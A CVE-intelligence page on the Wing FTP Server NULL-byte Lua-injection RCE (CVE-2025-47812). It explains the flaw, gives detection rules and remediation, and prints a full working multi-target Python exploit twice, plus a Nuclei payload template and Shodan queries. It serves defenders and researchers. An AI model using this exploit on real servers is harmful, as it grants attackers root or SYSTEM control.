☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-47812

CVE-2025-47812 is a critical, unauthenticated remote code execution (RCE) vulnerability affecting Wing FTP Server versions prior to 7.
📅 PUBLISHED: 2025-07-10 00:00 UTC 🔄 UPDATED: 2026-10-12 12:00 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v7.4.4 — source: mitre. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
🚨 ACTIVELY EXPLOITED (KEV) 💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 93.88%
👁️
93.88% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Proprietary
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
10.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-47812 is a critical, unauthenticated remote code execution (RCE) vulnerability affecting Wing FTP Server versions prior to 7.4.4. The flaw resides in the improper handling of NULL bytes (/0) within the username parameter during the login process. An attacker can inject arbitrary Lua code into user session files by crafting a malicious username containing a NULL byte followed by Lua payload. When the authenticated user (or an anonymous session) subsequently accesses a web interface endpoint like /dir.html, the injected Lua code is executed by the server's Lua interpreter. This allows an attacker to execute arbitrary system commands with the privileges of the FTP service, which defaults to root on Linux and SYSTEM on Windows, leading to total server compromise. The exploit is particularly dangerous because it can be triggered via anonymous FTP accounts if enabled. Public proof-of-concept (PoC) code and a Nuclei template are available, making exploitation trivial for attackers.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.8 (Critical)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Attack Vector (AV): Network - The vulnerability is exploitable remotely over the network.
  • Attack Complexity (AC): Low - No special conditions or complex attack sequences are required.
  • Privileges Required (PR): None - No authentication is needed; anonymous login is sufficient.
  • User Interaction (UI): None - The victim does not need to perform any action beyond normal server operation.
  • Scope (S): Unchanged - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): High - Full read access to all server data.
  • Integrity (I): High - Full write access to all server data and configurations.
  • Availability (A): High - Full control over server processes, including the ability to disrupt services.

Threat Level: Critical. The combination of network exploitability, no authentication requirement, and the ability to execute commands as root/SYSTEM makes this a top-priority vulnerability for immediate patching.

Deep Dive & Mechanics

The vulnerability stems from a discrepancy in how Wing FTP Server processes the username parameter during login. The core issue is in the c_CheckUser() function, which validates user credentials. This function uses a string processing routine that truncates the username at the first NULL byte (/0). Therefore, a username like anonymous/0]]... is treated as a valid anonymous login, and authentication succeeds.

However, the session creation logic does not use the same truncated string. Instead, it uses the full, unsanitized username provided by the attacker. This full username, which includes the NULL byte and the Lua code, is written directly into a session file on the server. The session file is a Lua script that is executed when the user accesses authenticated web interface endpoints (e.g., /dir.html).

The injection payload exploits Lua's syntax. The attacker terminates any existing Lua code with ]] and then injects their own code. A typical payload uses io.popen() to execute a system command and capture its output. The payload is structured as follows:

anonymous%00]]%0dlocal+h+%3d+io.popen("command")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--
  • %00 is the NULL byte.
  • ]] closes any open Lua table or string.
  • %0d is a carriage return, used to separate lines.
  • local h = io.popen("command") executes the command.
  • local r = h:read("*a") reads the command output.
  • h:close() closes the process handle.
  • print(r) prints the output, which is then returned in the HTTP response.
  • -- comments out any remaining code in the session file.

When the attacker then requests /dir.html with the obtained session cookie, the server executes the session file, running the injected Lua code and returning the command output in the HTTP response.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-7.4.4):

The vulnerable code path is in the session file creation logic. The following pseudocode illustrates the flaw:

// Vulnerable: Uses full unsanitized username
char *username = get_parameter("username");
char session_file_path[256];
snprintf(session_file_path, sizeof(session_file_path), "/tmp/sessions/%s.lua", username);
// Write session data to file, including the full username
write_session_file(session_file_path, username);

The c_CheckUser() function truncates at NULL, but the session file creation does not.

Patched Code (7.4.4+):

The patched code sanitizes the username by removing or rejecting NULL bytes before it is used in any file operations or session creation.

// Patched: Sanitize username
char *username = get_parameter("username");
// Remove NULL bytes
char *sanitized_username = sanitize_string(username, '/0');
char session_file_path[256];
snprintf(session_file_path, sizeof(session_file_path), "/tmp/sessions/%s.lua", sanitized_username);
// Write session data to file
write_session_file(session_file_path, sanitized_username);

The sanitize_string() function either strips NULL bytes or returns an error if they are present, preventing the injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Wing FTP Server version <= 7.4.3 with anonymous login enabled.
  • Network access to the server's web interface (typically port 80 or 443).

Exploit Code (Python):

The following Python script, derived from the public exploit, automates the attack.

import requests
import re
import argparse

# ANSI color codes
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"

def print_green(text):
    print(f"{GREEN}{text}{RESET}")

def print_red(text):
    print(f"{RED}{text}{RESET}")

def run_exploit(target_url, command, username="anonymous", verbose=False):
    login_url = f"{target_url}/loginok.html"

    login_headers = {
        "Host": target_url.split('//')[1].split('/')[0],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html?lang=english",
        "Cookie": "client_lang=english",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    from urllib.parse import quote
    encoded_username = quote(username)

    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    if verbose:
        print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")

    try:
        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending POST request to {login_url}: {e}")
        return False

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
        return False

    uid = match.group(1)
    if verbose:
        print_green(f"[+] UID extracted: {uid}")

    dir_url = f"{target_url}/dir.html"
    dir_headers = {
        "Host": login_headers["Host"],
        "User-Agent": login_headers["User-Agent"],
        "Accept": login_headers["Accept"],
        "Accept-Language": login_headers["Accept-Language"],
        "Accept-Encoding": login_headers["Accept-Encoding"],
        "Connection": "keep-alive",
        "Cookie": f"UID={uid}",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    if verbose:
        print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")

    try:
        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending GET request to {dir_url}: {e}")
        return False

    body = dir_response.text
    clean_output = re.split(r'<\?xml', body)[0].strip()

    if verbose:
        print_green("\n--- Command Output ---")
        print(clean_output)
        print_green("----------------------")
    else:
        if clean_output:
            print_green(f"[+] {target_url} is vulnerable!")
        else:
            print_red(f"[-] {target_url} is NOT vulnerable.")

    return bool(clean_output)

def main():
    parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
    parser.add_argument("-u", "--url", type=str,
                        help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
    parser.add_argument("-f", "--file", type=str,
                        help="File containing list of target URLs (one per line).")
    parser.add_argument("-c", "--command", type=str,
                        help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
    parser.add_argument("-o", "--output", type=str,
                        help="File to save vulnerable URLs.")
    parser.add_argument("-U", "--username", type=str, default="anonymous",
                        help="Username to use in the exploit payload. Default: anonymous")

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("Either -u/--url or -f/--file must be specified.")

    command_to_use = args.command if args.command else "whoami"
    verbose_mode = True if args.command else args.verbose

    vulnerable_sites = []

    targets = []
    if args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print_red(f"[-] Could not read target file '{args.file}': {e}")
            return
    else:
        targets = [args.url]

    for target in targets:
        print(f"\n[*] Testing target: {target}")
        is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
        if is_vulnerable:
            vulnerable_sites.append(target)

    if args.output and vulnerable_sites:
        try:
            with open(args.output, 'w') as out_file:
                for site in vulnerable_sites:
                    out_file.write(site + "\n")
            print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
        except Exception as e:
            print_red(f"[-] Could not write to output file '{args.output}': {e}")

if __name__ == "__main__":
    main()

Usage:

  1. Save the script as exploit.py.
  2. Run: python3 exploit.py -u http://target-ip:port -c "id" -v
  3. The output of the id command will be displayed.

Blue Team (Defense & Detection)

Detection Strategy:

  1. Monitor HTTP POST requests to /loginok.html: Look for requests with a username parameter containing NULL bytes (%00), Lua code patterns (io.popen, os.execute), or unusual characters like ]] and --.
  2. Monitor HTTP GET requests to /dir.html: After a suspicious login, a subsequent request to /dir.html with a new UID cookie is a strong indicator.
  3. Analyze Session Files: On the server, inspect session files in the session directory (e.g., /tmp/sessions/ or C:\ProgramData\Wing FTP Server\sessions\). Look for files containing Lua code that is not typical for the application.
  4. Network Traffic Analysis: Detect anomalous outbound connections from the FTP server, especially if the injected command attempts to establish a reverse shell.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST request to /loginok.html with a username parameter containing %00 (NULL byte).
    • HTTP GET request to /dir.html immediately following a suspicious login.
    • The username parameter in the POST request contains Lua code patterns like io.popen, os.execute, ]], --.
  • File System IOCs:
    • Session files in the Wing FTP Server session directory containing injected Lua code.
    • Unexpected files or processes created by the FTP service (e.g., a reverse shell).
  • Process IOCs:
    • The Wing FTP Server process spawning unexpected child processes (e.g., cmd.exe, /bin/sh, powershell).

Detection Engineering

YARA Rule

rule CVE_2025_47812_WingFTP_RCE {
    meta:
        description = "Detects Lua code injection in Wing FTP Server session files"
        author = "Valters IT"
        date = "2025-07-18"
        reference = "CVE-2025-47812"
        severity = "critical"

    strings:
        $lua_inject = /%00\]\].*io\.popen\(/
        $lua_inject2 = /%00\]\].*os\.execute\(/
        $null_byte = /%00/

    condition:
        $null_byte and ($lua_inject or $lua_inject2)
}

Sigma Rule

title: Wing FTP Server RCE via NULL Byte Injection (CVE-2025-47812)
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /loginok.html with NULL byte and Lua code in the username parameter.
author: Valters IT
date: 2025-07-18
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47812
    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/loginok.html'
        cs-username|contains: '%00'
        cs-username|contains|all:
            - ']]'
            - 'io.popen'
            - '--'
    condition: selection
falsepositives:
    - None expected
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2025-47812 Wing FTP Server RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/loginok.html"; http_uri; content:"%00"; http_client_body; content:"]]"; http_client_body; content:"io.popen"; http_client_body; content:"--"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2025-47812

info:
  name: Wing FTP Server <= 7.4.3 - Remote Code Execution
  author: rcesecurity,4m3rr0r
  severity: critical
  description: |
    Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).
    The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection
    into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting
    in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.
  impact: |
    Unauthenticated attackers can inject and execute Lua code through NULL byte handling in the username parameter when anonymous login is enabled, achieving remote code execution with elevated privileges.
  remediation: |
    Upgrade Wing FTP Server to version 7.4.4 or later that properly handles NULL bytes in authentication parameters.
  reference:
    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
    - https://github.com/4m3rr0r/CVE-2025-47812-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47812
    epss-score: 0.92481
    epss-percentile: 0.99738
  metadata:
    verified: true
    product: wftpserver
    vendor: wing_ftp_server
    shodan-query:
      - http.html_hash:2121146066
      - http.favicon.hash:963565804
      - title:"Wing FTP Server"
      - "Server: Wing FTP Server"
    fofa-query:
      - icon_hash="963565804"
      - title="Wing FTP Server"
      - "Server: Wing FTP Server"
    zoomeye-query:
      - app="Wing FTP Server"
  tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln

variables:
  cmd: "echo CVE-2025-47812"

http:
  - raw:
      - |
        POST /loginok.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

  - raw:
      - |
        GET /dir.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "cve-2025-47812")'
        condition: and

Remediation & Mitigation

Immediate Actions:

  1. Patch: Upgrade Wing FTP Server to version 7.4.4 or later immediately. This is the only complete fix.
  2. Disable Anonymous Login: If upgrading is not immediately possible, disable anonymous FTP login. This significantly reduces the attack surface, as the exploit requires an anonymous account.
  3. Network Segmentation: Isolate the Wing FTP server from critical internal networks to limit the blast radius of a compromise.
  4. Web Application Firewall (WAF): Deploy or update WAF rules to block requests containing NULL bytes (%00) and Lua code patterns in the username parameter.
  5. Monitor and Audit: Enable detailed logging for the web interface and FTP service. Review logs for suspicious login attempts and session file modifications.

Long-Term Mitigations:

  1. Input Validation: Implement strict input validation for all user-supplied data, especially NULL bytes and special characters.
  2. Least Privilege: Run the FTP service with the minimum necessary privileges. Avoid running as root or SYSTEM.
  3. Regular Security Audits: Conduct regular vulnerability scans and penetration tests on critical infrastructure.
  4. Incident Response Plan: Ensure an incident response plan is in place to handle potential exploitation of this vulnerability.

Valters IT

{/* [Security Hash: 4719E81C739EC2A475DE7CA6] */}

⚠ EXPLOIT CODE 3RD-PARTY · UNVERIFIED

This code is sourced from public security research repositories (ExploitDB, GitHub). It has not been reviewed or verified by ValtersIT. Use only in authorized test environments. Unauthorized use against systems you do not own is illegal.

# Exploit Title: Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution (RCE)
# CVE: CVE-2025-47812
# Date: 2025-06-30
# Exploit Author: Sheikh Mohammad Hasan aka 4m3rr0r (https://github.com/4m3rr0r)
# Vendor Homepage: https://www.wftpserver.com/
# Version: Wing FTP Server <= 7.4.3
# Tested on: Linux (Root Privileges), Windows (SYSTEM Privileges)

# Description:
# Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE)
# flaw (CVE-2025-47812). This vulnerability arises from improper handling of NULL bytes in the 'username'
# parameter during login, leading to Lua code injection into session files. These maliciously crafted
# session files are subsequently executed when authenticated functionalities (e.g., /dir.html) are accessed,
# resulting in arbitrary command execution on the server with elevated privileges (root on Linux, SYSTEM on Windows).
# The exploit leverages a discrepancy between the string processing in c_CheckUser() (which truncates at NULL)
# and the session creation logic (which uses the full unsanitized username).

# Proof-of-Concept (Python):
# The provided Python script automates the exploitation process.
# It injects a NULL byte followed by Lua code into the username during a POST request to loginok.html.
# Upon successful authentication (even anonymous), a UID cookie is returned.
# A subsequent GET request to dir.html using this UID cookie triggers the execution of the injected Lua code,
# leading to RCE.


import requests
import re
import argparse

# ANSI color codes
RED = "\033[91m"
GREEN = "\033[92m"
RESET = "\033[0m"

def print_green(text):
    print(f"{GREEN}{text}{RESET}")

def print_red(text):
    print(f"{RED}{text}{RESET}")

def run_exploit(target_url, command, username="anonymous", verbose=False):
    login_url = f"{target_url}/loginok.html"

    login_headers = {
        "Host": target_url.split('//')[1].split('/')[0],
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Accept-Encoding": "gzip, deflate, br",
        "Content-Type": "application/x-www-form-urlencoded",
        "Origin": target_url,
        "Connection": "keep-alive",
        "Referer": f"{target_url}/login.html?lang=english",
        "Cookie": "client_lang=english",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }


    from urllib.parse import quote
    encoded_username = quote(username)

    payload = (
        f"username={encoded_username}%00]]%0dlocal+h+%3d+io.popen(\"{command}\")%0dlocal+r+%3d+h%3aread(\"*a\")"
        "%0dh%3aclose()%0dprint(r)%0d--&password="
    )

    if verbose:
        print_green(f"[+] Sending POST request to {login_url} with command: '{command}' and username: '{username}'")

    try:
        login_response = requests.post(login_url, headers=login_headers, data=payload, timeout=10)
        login_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending POST request to {login_url}: {e}")
        return False

    set_cookie = login_response.headers.get("Set-Cookie", "")
    match = re.search(r'UID=([^;]+)', set_cookie)

    if not match:
        print_red("[-] UID not found in Set-Cookie. Exploit might have failed or response format changed.")
        return False

    uid = match.group(1)
    if verbose:
        print_green(f"[+] UID extracted: {uid}")

    dir_url = f"{target_url}/dir.html"
    dir_headers = {
        "Host": login_headers["Host"],
        "User-Agent": login_headers["User-Agent"],
        "Accept": login_headers["Accept"],
        "Accept-Language": login_headers["Accept-Language"],
        "Accept-Encoding": login_headers["Accept-Encoding"],
        "Connection": "keep-alive",
        "Cookie": f"UID={uid}",
        "Upgrade-Insecure-Requests": "1",
        "Priority": "u=0, i"
    }

    if verbose:
        print_green(f"[+] Sending GET request to {dir_url} with UID: {uid}")

    try:
        dir_response = requests.get(dir_url, headers=dir_headers, timeout=10)
        dir_response.raise_for_status()
    except requests.exceptions.RequestException as e:
        print_red(f"[-] Error sending GET request to {dir_url}: {e}")
        return False

    body = dir_response.text
    clean_output = re.split(r'<\?xml', body)[0].strip()

    if verbose:
        print_green("\n--- Command Output ---")
        print(clean_output)
        print_green("----------------------")
    else:
        if clean_output:
            print_green(f"[+] {target_url} is vulnerable!")
        else:
            print_red(f"[-] {target_url} is NOT vulnerable.")

    return bool(clean_output)

def main():
    parser = argparse.ArgumentParser(description="Exploit script for command injection via login.html.")
    parser.add_argument("-u", "--url", type=str,
                        help="Target URL (e.g., http://192.168.134.130). Required if -f not specified.")
    parser.add_argument("-f", "--file", type=str,
                        help="File containing list of target URLs (one per line).")
    parser.add_argument("-c", "--command", type=str,
                        help="Custom command to execute. Default: whoami. If specified, verbose output is enabled automatically.")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Show full command output (verbose mode). Ignored if -c is used since verbose is auto-enabled.")
    parser.add_argument("-o", "--output", type=str,
                        help="File to save vulnerable URLs.")
    parser.add_argument("-U", "--username", type=str, default="anonymous",
                        help="Username to use in the exploit payload. Default: anonymous")

    args = parser.parse_args()

    if not args.url and not args.file:
        parser.error("Either -u/--url or -f/--file must be specified.")

    command_to_use = args.command if args.command else "whoami"
    verbose_mode = True if args.command else args.verbose

    vulnerable_sites = []

    targets = []
    if args.file:
        try:
            with open(args.file, 'r') as f:
                targets = [line.strip() for line in f if line.strip()]
        except Exception as e:
            print_red(f"[-] Could not read target file '{args.file}': {e}")
            return
    else:
        targets = [args.url]

    for target in targets:
        print(f"\n[*] Testing target: {target}")
        is_vulnerable = run_exploit(target, command_to_use, username=args.username, verbose=verbose_mode)
        if is_vulnerable:
            vulnerable_sites.append(target)

    if args.output and vulnerable_sites:
        try:
            with open(args.output, 'w') as out_file:
                for site in vulnerable_sites:
                    out_file.write(site + "\n")
            print_green(f"\n[+] Vulnerable sites saved to: {args.output}")
        except Exception as e:
            print_red(f"[-] Could not write to output file '{args.output}': {e}")

if __name__ == "__main__":
    main()
⚡ METASPLOIT MODULE RAPID7 FRAMEWORK 2 MODULES AVAILABLE

This CVE has ready-to-use modules in the Metasploit Framework — the industry-standard penetration testing platform used by security teams worldwide. Presence of an MSF module significantly increases real-world exploitation risk.

exploit Wing FTP Server NULL-byte Authentication Bypass (CVE-2025-47812) Great VIEW ↗
exploit Wing FTP Server Authenticated Command Execution Great VIEW ↗
🔍 NUCLEI DETECTION TEMPLATE PROJECTDISCOVERY NUCLEI ↗

Nuclei is an open-source vulnerability scanner by ProjectDiscovery. This YAML template automates detection of this CVE against a target. Run with: nuclei -t template.yaml -u <target>

id: CVE-2025-47812

info:
  name: Wing FTP Server <= 7.4.3 - Remote Code Execution
  author: rcesecurity,4m3rr0r
  severity: critical
  description: |
    Wing FTP Server versions prior to 7.4.4 are vulnerable to an unauthenticated remote code execution (RCE) flaw (CVE-2025-47812).
    The vulnerability arises from improper NULL byte handling in the 'username' parameter during login, which allows Lua code injection
    into session files. These injected session files are executed when accessing authenticated endpoints such as /dir.html, resulting
    in arbitrary command execution with elevated privileges. This attack is possible only when anonymous login is enabled on the server.
  impact: |
    Unauthenticated attackers can inject and execute Lua code through NULL byte handling in the username parameter when anonymous login is enabled, achieving remote code execution with elevated privileges.
  remediation: |
    Upgrade Wing FTP Server to version 7.4.4 or later that properly handles NULL bytes in authentication parameters.
  reference:
    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
    - https://github.com/4m3rr0r/CVE-2025-47812-poc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47812
    epss-score: 0.92481
    epss-percentile: 0.99738
  metadata:
    verified: true
    product: wftpserver
    vendor: wing_ftp_server
    shodan-query:
      - http.html_hash:2121146066
      - http.favicon.hash:963565804
      - title:"Wing FTP Server"
      - "Server: Wing FTP Server"
    fofa-query:
      - icon_hash="963565804"
      - title="Wing FTP Server"
      - "Server: Wing FTP Server"
    zoomeye-query:
      - app="Wing FTP Server"
  tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln

variables:
  cmd: "echo CVE-2025-47812"

http:
  - raw:
      - |
        POST /loginok.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

  - raw:
      - |
        GET /dir.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "cve-2025-47812")'
        condition: and
# digest: 490a0046304402206508b7cb41c31d856e0960cc9be0f9af6070f13971551997336f8c09cbae7744022000e1bc201b3e6d02fd89165e0c98452a49922a5fbd6b928db473c7927d0086db:922c64590222798bb761d5b6d8e72950
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-47812/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.